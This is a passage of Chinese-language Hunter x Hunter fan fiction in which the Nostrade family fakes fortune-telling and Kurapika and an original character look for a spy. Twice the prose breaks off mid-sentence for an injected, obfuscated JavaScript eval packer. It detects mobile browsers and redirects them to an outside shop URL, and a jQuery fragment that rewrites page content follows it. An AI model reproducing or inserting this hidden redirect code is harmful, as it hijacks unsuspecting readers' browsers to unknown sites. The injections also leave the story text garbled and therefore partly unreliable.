看来对话已经结束了,至于结果如何,维瑟拉特无从得知。她没有随同参与这场谈话,也读不懂莱特努力隐藏住阴沉心情的表情究竟意味着怎样的含义。比较明确的部分是,莱特快步从她面前走过,什么也没说,轻而易举地把没有留意到的她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975401|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身影丢到了背后。 嗯……所以接下来该做什么呢?还没有得到新的命令,维瑟拉特不确定自己是否应该擅自结束当前的工作。 琢磨着琢磨着,莱特越走越远,从始至终都没有回头一次,只有酷拉皮卡时不时地向她投来目光。意识到她还过分听话地站在原地,他稍稍放慢脚步,向她招手。 “这次的对话,一直在勒令莱特先生重新接受占卜委托。”酷拉皮卡小声告诉他,“如果继续接受占卜委托,我们没有办法给出任何占卜的结果;不占卜的话,就好像在明晃晃地告诉旁人,诺斯拉已经失去了最有价值的手牌。” “哦……”居然主动和她说了这种事。维瑟拉特倒是没有感到太意外,只是觉得,自己不像是能听到这些内容的角色。 “莱特先生还没有给出明确的答复,但我认为他最晚在明晚之前就会做出最终的决定。” “嗯。” 总觉得她听得不算太专注,不过酷拉皮卡不会为了这种事生气。莱特都没有把她视作值得信赖的伙伴,她对他的事业漠不关心,是完全对等的行为——尽管她的冷漠很可能不是源于被忽视,而是除了自己需要完成的工作之外,她打心底不在乎别的事情。 酷拉皮卡第一次觉得这也挺好的,不自觉扬了扬嘴角。 “都不问问我为什么会有如此武断的想法吗?”他问。 维瑟拉特没怎么思考,大概是直觉让她这么说了:“你的论断一定是有意义的。我相信你。” 酷拉皮卡愣了愣神。他不想表现出不可思议,这样的态度会像是在暗示他对维瑟拉特的信心不足。但他的确有点意外。 她还没有说过这样的话,至少在重逢之后不曾说过。 他几乎要顿在原地,成为被丢在身后的那个人。还好他及时地回过神来,追上了他们的步调。 “稍后,由我来开车吧。”他主动说。 维瑟拉特没有多想,配合地点点头,“明白。” 都怪酷拉皮卡没有直说,她完全没有理解他的话语中还包含着想让她休息一下的意思。 黑色轿车驶入黑夜,朝着家的方向而去。 必须得说,这是疲惫的一天,耗费了比预期之中更久的时间,得出来不算结果的结果,这个家依然被架在火炉之上,何日才能天降甘霖浇灭焦灼的火焰? 莱特·诺斯拉一支接着一支地抽着雪茄,烟灰被吹入风中,飘到不知何处去。他知道,他必须做出决定了。 宅邸越来越近,在大门敞开之前,他丢掉了手中的烟头。 “到家之后,你们去告诉妮翁。” 一字一顿,他慢慢地说。 “无论占卜的念能力是否已经回复,诺斯拉家都将重新开放占卜委托。” 嗯……正如酷拉皮卡所说的那样。 这个家迈出了危险的一步,几乎谁也没有提出异议。 19.占卜x伪造品x瞒天过海 莱特的话语和意思全都很明确,绝无半点可能会被曲解的歧义——也就是说,他做出决定了,决定是在失去占卜能力的情况下,诺斯拉家将继续接收占卜委托。 该怎么说呢,居然完全不觉得意外。 和即刻执行立马就一命呜呼的死刑相比,一定是稍稍有点喘息余地的缓刑更好。人类特有的挣扎之心很容易就会将最后的苟延残喘误解成唯一可行的崭新生路。 尽管不觉得出乎意料,可这种意料之中的选择反而更加让妮翁觉得无所适从。她完全不能接受父亲的安排。 “所以,爸爸你是想要我对那些来占卜的客人们撒谎吗?” 妮翁尖声说。 其实她也想冷静地和父亲商谈,可话一说出口,情绪就不由自主地涌上来了,害她看起来有些咄咄逼人,像被情绪驱使一般,但事实并不是这样的。 “爸爸,你真的觉得我们能有办法唬过那些在地下社会比我们摸爬滚打了更久的人吗?”她是在经过了冷静的思考之后才说出这些话的,“还是说,你依然寄希望于我的能力可以恢复?” 这般推心置腹的对话发生在妮翁的房间里,随从和保镖们也在这里——有这么多旁人在场,看来他们之间的话语没办法真的推心置腹吧。也难怪此刻的莱特都没有向妮翁投去目光,自顾自盯着房间某个积灰的角落,好像和他说话的主角是一团看不见也摸不着的空气,而不是最爱的(是吗?)女儿。 妮翁绕到他的面前。无论如何,她都想和父亲面对面地好好沟通,而不是被当做空气。 “爸爸,虽然我也很想对未来抱有期待,可失去的东西真的还能回来吗?还是说,您的计划是趁着收悉占卜需求的这点空白时间将诺斯拉家的一切都转移到别处,从此之后我们隐姓埋名地活下去吗?如果计划是这样的话,那我可以……” “别说傻话了。” 对于妮翁天真的话语——却也是当下唯一能够全身而退的可能性,一种与他的孤注一掷截然不同的道路——莱特并不觉得气恼或是如何,当然也不可能会被女儿劝说动摇。 他很平静,准确地说是冷漠。他的父爱从来都是以利益作为分配基础的有限资源。眼下的情况很明确了,妮翁已经无法为他实现更多利益,于是他的爱也将随之枯竭。他不曾向妮翁投去一眼,给到的只有冷笑。 “要让我舍弃掉现有的一切吗?怎么可能。我说过,我要站上□□的顶点,为了实现这一点,我吃了多少苦,还要被人侮辱,这些事情难道你全都没看见吗?事到如今我不可能放弃,如果不咬着牙继续爬上去,我只会跌到比之前更惨的境地。现在不是选择题,做出选择的那方也不是你。只有做或是不做,而且我必须要做!” 莱特不觉得自己的决定鲁莽或是怎样,毕竟他也不是真的非要只靠谎话和祈祷将占卜的需求全部糊弄过去。他有对策。 “我需要你们去监视并打听所有委托人的境况和业务,根据探听到的实际情况,对委托人想要知道的未来进行可行的预测。” 这就是莱特·诺斯拉给属下的指令。 忽然从玄乎的念能力占卜变成了脚踏实地的演绎推理,听起来意外得还算靠谱,虽然落实起来肯定不会是什么易事就是了。 维瑟拉特觉得自己还算挺擅长这类工作。过去在便利屋的时候,她就很常完成类似的委托,履历里一定写到过这些经历,可莱特却没有把工作交到她手中,甚至完全不和她提及此事。 看来,还是对她怀有疑虑呢。 为什么会不相信她呢?她有着良好的职业操守,无论给出怎样的命令都能执行,绝对是很值得相信的部下才对,偏偏莱特对她过分警惕。她难以理解这份不信任,也不理解莱特·诺斯拉这个人。 想不明白的事情,维瑟拉特从不会强行思考进而得出结论。这么做没什么意义。反正,莱特只是不够相信她,而不是毫无信任。只要她的工作和诺斯拉家的事业能顺利地进行下去,她不会冒出半点多余的怨念。 在这一整个“伪造占卜”的计划之中,打探消息是相对来说不那么麻烦的工作,预测未来也相对尚可。 真正麻烦的部分是怎么去写占卜诗。 妮翁用念能力写下的占卜诗带着一种独特的构造,暗示写得过分精妙,绝不是一眼就能够读懂的浅薄文字。而这些诗句都是念能力天然写就的,现在只能人为想办法编造出相似的词句了。 按照常理,编写诗句的棘手工作,肯定该由妮翁来处理才算合适。尽管过去写下占卜诗时,她都处在非自我意识驱动的状态,但那些毕竟是由她亲手写下的文字,伪造的时候说不定会有……肌肉记忆的经验加成? 可她拒绝了。完全不愿接下此事。 “我从来都不会去看自己写下的占卜诗,也不知道里面的内容是怎样的,现在肯定没办法乱编。” 她给出的理由是这样的。 或许也和莱特对她断崖式冷淡下去的态度也有点关系,但既然她没有明说,暂且就当做这个因素不存在吧。 独一无二的能力或许难以找到替代品,好在写诗可不是什么独一无二的能力——反正在诺斯拉家又不只一个诗人。 “强人所难!” 芭蕉在维瑟拉特的耳边抱怨不停。 “莱特先生真的不是走投无路了吗?要我说,总想着把委托人唬过去也不是什么办法。我在这里也没有多余的期望了。能结清委托费、别因为帮助了莱特·诺斯拉的绝望挣扎而给我添上连绵不断的麻烦,就是我仅有的两个期待!” 维瑟拉特点燃香烟,“嗯。” 她和芭蕉好像都没有发现,芭蕉真的很喜欢对她说一点吐槽的话——不和别人说,偏偏找她说。 要是深究一下其中的原因,很可能是因为维瑟拉特是个称职的听众。 虽然她无法给出想要的回复,不过她每次都听得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979193|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挺认真。最重要的是,她长了张一看就很能保守秘密的脸。 很能保守秘密的脸是怎样的脸?这概念还挺抽象的。但芭蕉就是觉得她的脸上透露着保密性很强的气质。 当然了,抱怨归抱怨,只要还在诺斯拉家工作一天,首领的命令肯定不能当做没有听到。硬着头皮完成不爱做的事情,工作的本质不就是这样嘛。 芭蕉拿起笔,拂过上唇的胡须,涂涂改改把纸面弄得好脏,笔记本越撕越薄。他花了比预期之中还要更久的时间,才终于停下了笔尖。 「你走到了岔路上 向左或是向右的分支会带领你抵达同一个结果 盛满美酒的金杯将会倒置 在流淌的葡萄酒染红地毯之前 你最好停住脚步别再向前」 这是给兰格雷——那个把莱特晾在自家洋馆的诺斯拉“合作伙伴”——的占卜诗。 “如何?” 一向对自己的作品相当有自信的芭蕉难得露出了一点不自信的忧虑。 “如果是让我自由地进行创作,那我肯定能写出还算不错的诗句,可现在让我仿照妮翁小姐的风格去写,简直就像是带着鹿皮手套写字那样不自在。” 他的新作(被迫营业版)就这么来到了维瑟拉特的面前,她成为了第一个欣赏者。不晓得这算不算是殊荣,总之维瑟拉特没觉得很开心。 又要想办法对看不懂的东西送上切切实实的夸奖了,她真的没办法为了这种事开心起来。 该怎么从早已枯竭的夸奖话语之中挖掘出更新的赞美呢?维瑟拉特毫无灵感,不自觉陷入了长久的沉默之中,久到芭蕉都察觉到他的为难了。 “没事!”他倒是很坦荡,满不在意地说甩甩手,“不必给我太多的夸赞!我创作出来的只是他人的仿作而已,由一首仿作而得到的赞美,绝不是对我本人的夸赞。还是少听为好!” 习惯性耷拉着视线的维瑟拉特倏地抬起眼眸,“这次可以不夸吗?” 天呐,芭蕉第一次发现她的眼睛原来是圆形的,还能睁这么大,甚至浅色的虹膜里还能反射出明亮的光。他只当这孩子的眼眸一直都是灰扑扑打不起精神的样子。 而这天翻地覆的变化纯粹只是因为她不需要夸赞诗歌了。 嗯……好像意识到了一点什么。但绝不是什么令人高兴的认知,才刚刚触及到认知的边缘,芭蕉果断地放弃了思考,把写着占卜诗的笔记本收回去了。 维瑟拉特眨眨眼,“还要写吗?” “委托的数量是三十份。” “哦……” 真辛苦。 当然啦,维瑟拉特一点也没想过要帮忙。她很有自知之明,知道自己派不上用场。 无论好坏,最后还是完成了占卜的委托。很快就收到了来自兰格雷的回复。 “我知道你们的占卜全是胡编乱造。不要骗我。” 他这么说。 20.责骂x疑似叛徒x不完美 ——我知道你们的占卜全是胡编乱造。不要骗我。 这可真是刺耳的诘问。 甚至兰格雷是直接打来了电话说出这句话的,不加掩饰的愤恨话语上一秒才刚从听筒里传出来,来不及过渡一下,就立刻尖锐地扎进了莱特的脑袋里,刺得他一阵阵头痛。他不由自主地懵了懵,大脑都停止思考了,反驳或是狡辩一句也说不出,话语完全卡在了喉咙里,支吾半天也只是挤出了一句很无力的:“您……您在说什么?” “我的意思还不够明确吗?” 兰格雷的嗓音很响,相较之下,怒气却是略显不足,即便是扯着嗓子也没能补齐情绪的不足。 “你提供给我的占卜全部都是虚假的,你在玩我,莱特!你知道我有多么讨厌别人欺瞒我吧?”话语转向要挟的意味了。 莱特冒出了一身冷汗,不自觉地居然一直在点头,“是……是……” 这种事他当然知道了。 兰格雷接着说:“如果你连以前能做到的事情都已经做不好了的话,那我们之间的合作关系也不必存续了——这座城市再也不会有哪个家族庇护如今彻底无能无用的诺斯拉了!” “等等——” 根本没来得及说出半点弥补的话语,莱特·诺斯拉才刚刚发出了一点羸弱的声音,就被急促的嘟嘟声堵住。兰格雷根本不想听他说更多,发泄完脾气之后就立刻挂断了。而他仍木然地举着听筒,惊恐感伴随着心跳开始疯长,他完全没有注意到自己的马甲居然也被濡湿了。 不妙啊。不妙。 就算是花了几分钟的时间平复心情,他也还是没能冷静下来,更加无法进行适当的思考。而眼下,最需要牢牢把握住的资源,一定是时间。 不能再任由时间溜走了。莱特不敢再沉浸在无用的情绪之中,赶紧叫来酷拉皮卡。他需要有一个值得信赖的人帮自己厘清大脑。 “您是说,兰格雷先生对占卜的可靠性提出了质疑,是吗?”酷拉皮卡冷静地说。 莱特看着他并无太多情绪波动的面孔,不知怎么的居然觉得很恼怒,心想事不关己的家伙果然能表现得这么冷淡。真奇怪,明明莱特把酷拉皮卡叫来的真正目的就是希望能有一个冷静的第三人为他分析当下的情况,如今却开始嫌弃他的这份特质了。 难道他酷拉皮卡预料到了这种事会发生——他背叛了自己吗? 完美无缺的信任好像要裂开来了。莱特的心一直在往下坠,能感到的只有一阵没底的不安。 ……算了。 至少在当下,莱特不想怀疑他。不满也仅仅只是短暂地在心中存在了小半刻而已。一想到兰格雷的事,酷拉皮卡不合期待的表情瞬间显得不是什么大事。他僵硬地点了点头。 “兰格雷先生说了什么?” “呃……”这事真要回想一下的话,可是很痛苦的,莱特不自觉地用手不停抓脑袋,“类似于‘你们的占卜都是在骗我’之类的话?” “好。还有吗?” “其他就是对诺斯拉家的要挟了。” “这样啊……” 酷拉皮卡垂着手,指尖轻轻敲打西裤的车线。他感到困惑。 “为什么现在就提出疑问了?”他嘀咕着。 莱特没明白,“你在说什么?” “我的意思是,兰格雷先生的质疑,来得是不是太早了?” 所有的占卜诗的撰写在昨日晚间才完成,由莱特确认文字内容看不出破绽之后,今天早晨统一发往各委托人处。而兰格雷的电话在午间就拨了过来,难道是看完占卜诗的内容之后就立刻意识到不对劲了吗?怎么察觉到的? 不可能是未来与占卜对不上,至少今天不会发生这种事。伪造的占卜诗是否真的能与一个月内发生的事情对上,需要时间的考验才能得出结论,一定不是当下就可以断言的事情。 “我想,他一定早就已经知道了占卜诗是伪造的,但不想暴露早已知晓的事实,却也沉不住气,所以选在这个尴尬的时间点爆发了。”这是酷拉皮卡能想到的最合理的解释。 莱特听明白了,尽管如此还是觉得疲惫且困惑。对于这种情况,他只能有一个推测。 “果然是有叛徒,是吧?” 意识到这一点,他莫名恼怒得不行,抓起桌上的水晶镇纸想要砸到地上,但可能是想到了这美丽小废物实在价格不菲的事实,高高举起的手只能轻轻落下,仿佛他肆意发散的怒气也完全收拢回去了。 能提出叛徒这个概念的酷拉皮卡首先可以被排除背叛的可能性。既然这样,那么…… “叛徒肯定是那个新来的小孩吧!” 新来的小孩,说的当然是维瑟拉特。酷拉皮卡的脸颊不受控制地抽搐了一下,礼貌地微微垂低的头抬起,他毫不避讳,直直地注视着诺斯拉的当家。 “她不会是叛徒。”他以平静的、没有丝毫愠怒的语调说,“请您收起过分的担忧和急切,安心地坐在这里,和任何时候一样。我会帮你解决眼下的问题。” 微妙的话语。是带着一点鄙夷的意思吗,还是在直白地否定他的能力? 莱特·诺斯拉无法给出确切的描述。他不可能没有注意到酷拉皮卡的话语听起来略带刺耳,可他却给不出半点更狠厉的反应——今时不同往日,在资源和人手全部有限的情况下,他比任何时候都更加酷拉皮卡的帮助。哪怕在先前的会面中,兰格雷曾暗示般说过不要太信任手下那样的话,但和这个把野心与目的暴露无遗、还试图羞辱自己的男人相比,莱特更情愿把信任压在酷拉皮卡的身上。他也只能这么做了。 于是,如同水晶镇纸,他一切该有的或是不该有的心情都缩了下去,垂低的是他的头颅。 “那么……”话语太轻,他张合的嘴唇像是在颤动,“……就拜托你了。” “是。” 酷拉皮卡暂且退出了办公室,一刻不停地仍在思考兰格雷的事情。 说实在的,他不懂莱特为什么如此不相信维瑟拉特。只是因为她的新来的成员吗?还是说,他当时为她寻找的“自愿加入”的托词在多疑首领的心里埋下了猜忌的种子?如果是前者,时间足够消除莱特这点无聊的猜忌。可倘若是后者,那就会是他给维瑟拉特带来的麻烦了。真糟糕。 有些烦躁,害得他脚步过快,不知不觉就走到了维瑟拉特的面前——可能是因为刚才一直在惦记着她的事情,脚步 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她的回答算是意料之中——无论是她的社交圈相较之前貌似一点都没有扩大的这一点,还是她无法提供线索,全都符合酷拉皮卡的预期。所以失望或是沮丧的情绪也完全不会冒出来。他随口又问维瑟拉特,之前帮忙监察占卜委托人的工作如何。 “没有。”和刚才一样的回答,“这部分工作没有交给我处理。” “……啊。” 确实。这也是莱特莫名其妙的疑心所带来的结果,如此显眼的区别对待简直像是在堂而皇之地说新来的伙伴信不过。而他居然还很不识相地提及了这件事,尽管只是无心之失,但还是让这个瞬间的酷拉皮卡感到很糟糕。他一点也不想要刺伤维瑟拉特,哪怕她不会因此受伤。 “抱歉。”他觉得自己有必要道歉,“我忘记了这件事。” “嗯。” 维瑟拉特平平无奇地应了一声,而后不那么平平无奇地歪了一下脑袋。好意外,竟然能从她微微蹙起的眉头察觉到一丁点的……疑惑? 好吧,她的疑惑明显已经传染到酷拉皮卡的身上了。他忍不住问:“怎么了吗?” 她摇头,说:“没怎么。只是在想,原来你也会忘记事情吗?” 好奇怪的困惑。 酷拉皮卡尴尬地笑了一下:“人类就是很容易忘记事情的。” “哦。” 维瑟拉特很少见的把眼睛睁得圆圆的,即便在他给出了解释之后,依旧还是保持着这种如同捕猎中的小兽的神态,明明小时候的她不常这么做。 虽然能见到她不太一样的反应很好,可要是一直被这么盯着,难免有些怪怪的。酷拉皮卡忍不住追问她在想什么。 “还是在想你忘了事情的事情。”她坦白说。 酷拉皮卡感到好窘,开始担心她是不是记恨自己戳中她不被莱特重视的痛处了。想想也是,以前她偶尔也会表现出很较真的一面。 “你生气了吗,还是我让你不高兴了?”他抱歉地笑笑,已经愧疚起来了,“你可以把你的想法告诉我,我一定会向你道歉的。” “我没有生气,也没有不高兴,你非要和我道歉的话我不会排斥这种行为。我只是忽然发现……” 她的眸光极其微弱地颤动了一下。 “……原来你不是完美的。” 21.标准x完全一致x新工作 ……真意外啊。 酷拉皮卡感到意外。 不过,令酷拉皮卡意外的部分,并非维瑟拉特说他不完美。她说着这话的语气,怎么听都不像是批评或是陈述,而是对如今的她来说相当罕见的感叹。所以真正让他惊愕的是,在维瑟拉特说出今天的这番话之前,自己在她的心中可能是完美的。 “为什么?”他追问。 “因为,”在这个问题上,维瑟拉特没怎么思考就能给出答案,“你拥有我没有的那段时期的记忆,所有细节都记得很清楚。你的武器还是铁链,是我不会使用的武器。你在任何事情上给到我的指示非常明确,也会听取我的意见。简单来说,你做到了我以及其他人没能做到的事情,在我看来,这样子的你和‘完美’差不多。” “……是嘛。” 那你的标准还挺低呢。酷拉皮卡心想。 他不觉得自己完美,这词根本没可能和他沾边。没能杀死所有的蜘蛛,也没能带回族人们的眼睛,他做得还不够。即便这些事情全部都实现了,他也不能算是完美吧。 当然了,这些念头只是短暂地在他的心头停留了片刻。在维瑟拉特的面前,他可不会把这话说出口。 他只是笑了一下,在片刻的迟钝之后,问她:“那么,不完美的我会让你觉得失望吗?” 依然无需太多的思考,她给出的回复是“不会”。 “这样一来,我们就是一样的了。”她说。 一样的……吗? 维瑟拉特所想到的“一样”,是他们都会忘记事情的这个难得的共同点,但酷拉皮卡在这一刻意识到的,很可能是在此之上的认同感——一样的窟卢塔人,一样的孑然一身,一样的红眼睛。 不,现在不再是孑然一身了。他们已然重逢。 想着这事,总觉得有点难过,哪怕重逢本来是值得高兴的事情。酷拉皮卡不自然伸出手,轻轻触碰她的指尖,锁链似乎碰撞出了微弱的声响。 “我们本来就是一样的。”他喃喃着告诉她,也像是在说给自己听。 “但我不会用锁链这一点不一样。” 说着这话的她难得的很认真,让酷拉皮卡一下子忍不住笑了出来。 看嘛,她就是很较真的。 和她的短短聊天很像是这忙碌一天里的幕间,是轻松而自在、却很快就会溜走的一段时间。帷幕终究会被拉起,他要重新把聚光灯聚焦在叛徒的身上。 暂且和维瑟拉特道别(虽然真的很想和她再多数说话,),酷拉皮卡继续往前走。 他接着去询问了护卫队的其他人,先向他们了解了之前伪装占卜期间的情况,主要是想知道,他们在探听占卜委托人近况的时候,是否有遇到什么预期之外的状况。 多数人都说没有,一切都很正常,他们也没有暴露行踪。但也有人表示,这个谁家或是那个谁家的日常生活显得很奇怪,甚至可以说是有点不道德,但毕竟只是微不足道的日常而已,即便不道德也不能算是违法。酷拉皮卡暂且记下了这些事情,只是不会将其纳入到“叛徒搜寻”工作中的考量因素。 当然,也有值得稍稍留意一下的讯息。负责兰格雷家的调查的同僚反馈了不太一样的情况。 他们说,在长达五天的观察行动里,每一秒都能够感觉到兰格雷家的整体安保相当严格,到处都是巡逻的守卫,兰格雷洋馆的每一扇窗户几乎每一秒都被窗帘盖住——之所以说是“几乎”,是因为只有首日行动的那么一小会,有个女仆模样的人拉开了窗帘,似乎还准备借着开窗,但伸出的手很快就缩回去了。窗帘嘛,当然也很快地合上了。 这不算很重要的情报,毕竟安保严谨也很正常。但酷拉皮卡很在意。 如果洋馆一直门窗紧闭,他上次陪同莱特一起造访时,不可能没有留意到。 “把那时候的事情详细地告诉我吧,还有什么让人在意的细节吗?” “这个嘛……”被问到的同僚花了点思考的时间,“说起来,女仆拉开窗帘之后不久,很突然的整个人抖了一下,然后才匆匆忙忙地把帘子重新拉上。仔细想想,她的反应很像是被人说了什么之后才拉上窗帘的。这算是必须告诉您的细节吗?” “好,谢谢你。” 有了这点补充,酷拉皮卡终于可以得出结论了。 兰格雷家的人确实提前知道了他们将如何伪造占卜的行动,为此做出了相应的对策,想必是按插在诺斯拉家的间谍提供的消息。有些想不通的是,兰格雷并未选择在他们的调查行动开始时就立刻戳破,还算耐心(但也没有那么耐心)地一直等到收到了占卜诗的现在。或许是不希望在诺斯拉家安插了间谍的事实被暴露吗,或者纯粹只是因为对他们而言那个间谍是重要的存在,想要最大程度地保证它的隐形?说不定都有可能。 调查到了这一步,想要知道间谍的身份,其实相当容易。 需要感谢芭蕉,他在修复宅邸安保系统和通讯设备的时候,特地布置了环绕整个诺斯拉家地界的信号干扰器,切断了诺斯拉普通成员的对外沟通,只有少数人以及部分提前提出需求的成员才能进行通话。古早的信件邮寄甚至飞鸽传书当然用不了,对于那个间谍来说,想要顺利地将信息传递出去,只能离开诺斯拉的宅邸才能做到。 不需要怎么费劲,只在暗地里调查了一下,酷拉皮卡就能拎出两个最可疑的对象了——前往兰格雷家那天因身体不适缺席的司机,和一年前入职为见习管家(意外的居然至今没有转正)的安东内利。 司机的疑点很明显。重要的出行当日不在,还拖延到快要出发的时候才匆匆请假。并且,在那一天之后,他又请了几天的假,期间只因为健保卡遗落在宿舍而短暂地回到诺斯拉宅邸一次。时间节点有些过分微妙了。 另一位见习管家安东内利,他嘛,相比司机来说, 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准确地说,应该是“或许可以”。她无法提供百分百的确信,只习惯性地在老板的面前把话说满了而已。 不可否认的事实是,她实在不是那种很擅长思考的人——好在也不是百分百的蠢蛋,所以在处理不擅长的工作时,她不常使用的智慧应该能派上一点用处吧。 从她的脸上完全看不出任务有可能无法完成的小小危机感,酷拉皮卡就这么被唬过去了,当然被成功唬到的很大一部分原因可能是他真的很希望维瑟拉特可以揪出间谍。 他松了口气,“那就好。我把这个工作交给你,可以吗?” “可以。” 依然是很果断且过分满的回答,反倒让安心下来的酷拉皮卡有点不安。“不问问我为什么吗?”他忍不住说。 维瑟拉特差点下意识地跟随着他的要求说出一句“为什么”了,可话到了嘴边,忽然想起自己在他的面前是什么可以说的,于是她闭上了嘴,想了想,说出的话就此拐了个弯,变成了“我不需要知道为什么”。 “你没那么好奇。就算不知道理由,我也会全力以赴地完成你的委托。” 没那么好奇……吗?维瑟拉特居然会这么说吗?明明往日的她有着那么猛烈的好奇心。或许这份心情的确不可避免地萎缩了,难道注定再也没有办法膨胀开来了吗? 酷拉皮卡有点难过,明明听到了她难得的想法是值得高兴的事情,可他果然还是避免不了为过往的落差而落寞。但这样的情绪对于此刻而言无用。他收起了多余的思绪。 “去做吧。”他轻轻推着维瑟拉特的后背,“我期待你的成果。” “了解。” “期待”。 大概只有酷拉皮卡才会对他说出这样的话吧。她很莫名的想。 既然如此,那真的要好好努力才行了。 22.行事方针x演技x是你吧 酷拉皮卡对她寄予了期待。在此之前,还没有人对她做过这种事——哪怕维瑟拉特知道自己忘掉了很多事情,她也可以断言,在今天之前不曾有人对她怀有期待。 既然有了期待,绝对要好好地呼应才行。 如果是要为了完成本次的工作而加把劲努力,维瑟拉特觉得就不能再用她常用的办事方式解决问题了。意思是她不能再采用直白或是过分节约时间甚至算得上有点粗暴的方式行动。必须要变得更轻巧一些、机灵一些、掩人耳目一点才行。虽然这些形容词不管怎么听都和维瑟拉特自己认为的她的性格不太相衬就是了。 顺便一提,如果采用她常用的办事方式处理眼下这个确认叛徒的工作,那么她将会把两位可疑对象囚禁起来,采用一些不光彩也很不适合放到台面上的物理手段榨出他们藏在脑袋里的秘密。 不采用惯用方式的话,就要好好动动脑筋了。 维瑟拉特很懂自己,知道自己是那种空想半天也冒不出更多念头的家伙,干脆先行动起来。 能记得的另一部分人生道理,灵感是会在行动的过程中自然而然冒出来的,所以她需要先和两位嫌疑人接触才行。 “咦,你问安东内利先生住在哪里是吗?”亚里砂一贯笑眯眯的模样里带着些许困惑,“你居然认识他吗?我还以为你们护卫队的成员和负责内勤的我们一向往来很少呢。” “嗯……”维瑟拉特不予否认,只说,“有点工作要找他。” 这也不算是说谎,她只是把自己的目的进行了高度的概括而已。但有一点亚里砂说对了,她确实不认识安东内利。仔细想想,甚至连他的模样都不知道。在两个嫌疑人之中,她只见过那个犯了肠胃炎而临阵脱逃的司机唐培里。 既然如此,就顺便问问安东内利的长相好了。这是个值得知晓一下的情报。 “安东内利先生嘛,他就是那种很普通的长相,我也不知道该怎么形容,总之就是很普通的脸。” 亚里砂是这么对她说的,不自觉地把相同的词说了两遍。看来见习管家安东内利确实挺普通的,可维瑟拉特可没办法通过这样一个形容词找人。 “抛开脸不说,他其他的部分是什么样的——身高、头发、四肢之类的,你可以从这些部分告诉我。” “好。不过你说话的方式好怪,真像是把一个人拆开来了似的。”亚里砂捂嘴偷笑,小小的揶揄说完,没有忘记解答她的询问,“个子的话,不高也不矮吧,比你稍微矮一点,头顶估计能和你的眉毛齐平。头发就是黑色的,之前听他说起年纪,大概是三十多岁。四肢嘛……四肢的话,他的手臂还挺长的。像猴子。” “猴子……长什么样?” 维瑟拉特忽然意识到,她脑海中只有“猴子是一种动物”的概念而已,对于猴子究竟是何种长相的生物,居然一点印象都没有,可能是因为她一直都没有机会去动物园看过吧。 亚里砂好意外——她以为猴子已经是一种相当大众的生物了,毕竟主流学说也宣称人类是猴子的后代。但对于维瑟拉特的未知,她一如既往地表现出了百分之百的体谅,让维瑟拉特在原地稍稍等一会儿,在妮翁以前很喜欢、可现在都已经丢进了衣柜最深处的毛绒娃娃里找到了猴子的玩偶,塞到维瑟拉特的怀里。 “看,这就是猴子。”她说。 维瑟拉特飞快地瞄了一眼,“好。” 这动物看起来和人似的,不算可爱,也不至于到讨人厌的成都。维瑟拉特努力记住了它的长相,接着问更多。 “安东内利的房间在哪里?”这也是很关键的信息。 “后勤翼楼的一层,入口进去后的左手边第一间。” “我明白了。唐培里呢?” “他也住在同一栋楼,房间正好在安东内利的正对面。” 很近呢。维瑟拉特有想法了。 带着亚里砂给的猴子玩偶(还要靠这个毛茸茸的小东西找到那个像猴子的安东内利,肯定得拿在手上才行),维瑟拉特在晚间步入了后勤翼楼。 她特地选在了这个时间,再过几分钟安东内利就会结束今天的轮班回到宿舍,而唐培里则是因为莱特今日一整天都在家而完全没有工作需求,一直都在自己的宿舍里休息。难得且合理的能够同时接触两个人的时机,就是现在没错。 维瑟拉特敲响了司机唐培里的房门。咚隆当啷一阵响,门总算是被打开了。不用想也知道,他绝对是手忙脚乱了好一阵才把自己收拾到了可以见人的模样——看来人真的不应当悠闲一整天。 “有、有什么事吗?” 他以一种老实巴交的人特有的憨厚语气说。 他姑且算是认识维瑟拉特。在出发去兰格雷家之前他们见过一次,不过他说不出她的名字,也不太清楚她负责的工作是什么,更加想不到她的忽然拜访意味着什么。 “是这样的。”维瑟拉特已经完全想好应对的说辞了,“莱特先生和护卫队长计划明日前往兰格雷先生的洋馆。我听说你身体不好,想要和你确认一下,明日是否能够正常工作。如果不行,那我会承接你的工作。” “要、要去兰格雷先生那儿啊?”他不自觉冒出了冷汗,赶紧用袖子抹抹额头,自言自语似的嘀咕,“那家的人可刁钻了……” 尽管只是嘀咕,但还是钻进了维瑟拉特的耳朵里,只是她没怎么把这点怨念放在心上。 “所以。”她一脸认真,“明天可以吗?” 维瑟拉特的话语也不算逼迫,更不会给人添加压力,可被如此真切地询问了一遍,唐培里却完全蔫了,耷拉的脑袋晃了晃,嘀咕着给出回答:“可以的。” “好。另外,你的身体好一点了吗?” 不是关心,这是纯粹的提问,还好唐培里没有发现。 “好一些了。肠胃炎真是折磨人啊。”他叹着气。 维瑟拉特的视线越过房门的间隙,飞快地打量过房内的一切。她没有看到任何的药瓶药剂。 或许是因为她看到的部分太少了吗,还是他已经不用吃药了? 有脚步声从门外传来,随即是门扉被推开的吱呀声响。维瑟拉 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“没办法了……我们俩背她去家庭医生的办公室吧!”安东内利率先说。 唐培里磨磨蹭蹭,“我、我们两个人啊?” “这会儿没有别人在了!” “也是也是……” 维瑟拉特就这么被转移到了唐培里的背上。 被人背着还要继续演出抽搐的样子吗?在这个问题上,她稍稍思考了一小会儿,最后还是决定继续表演。 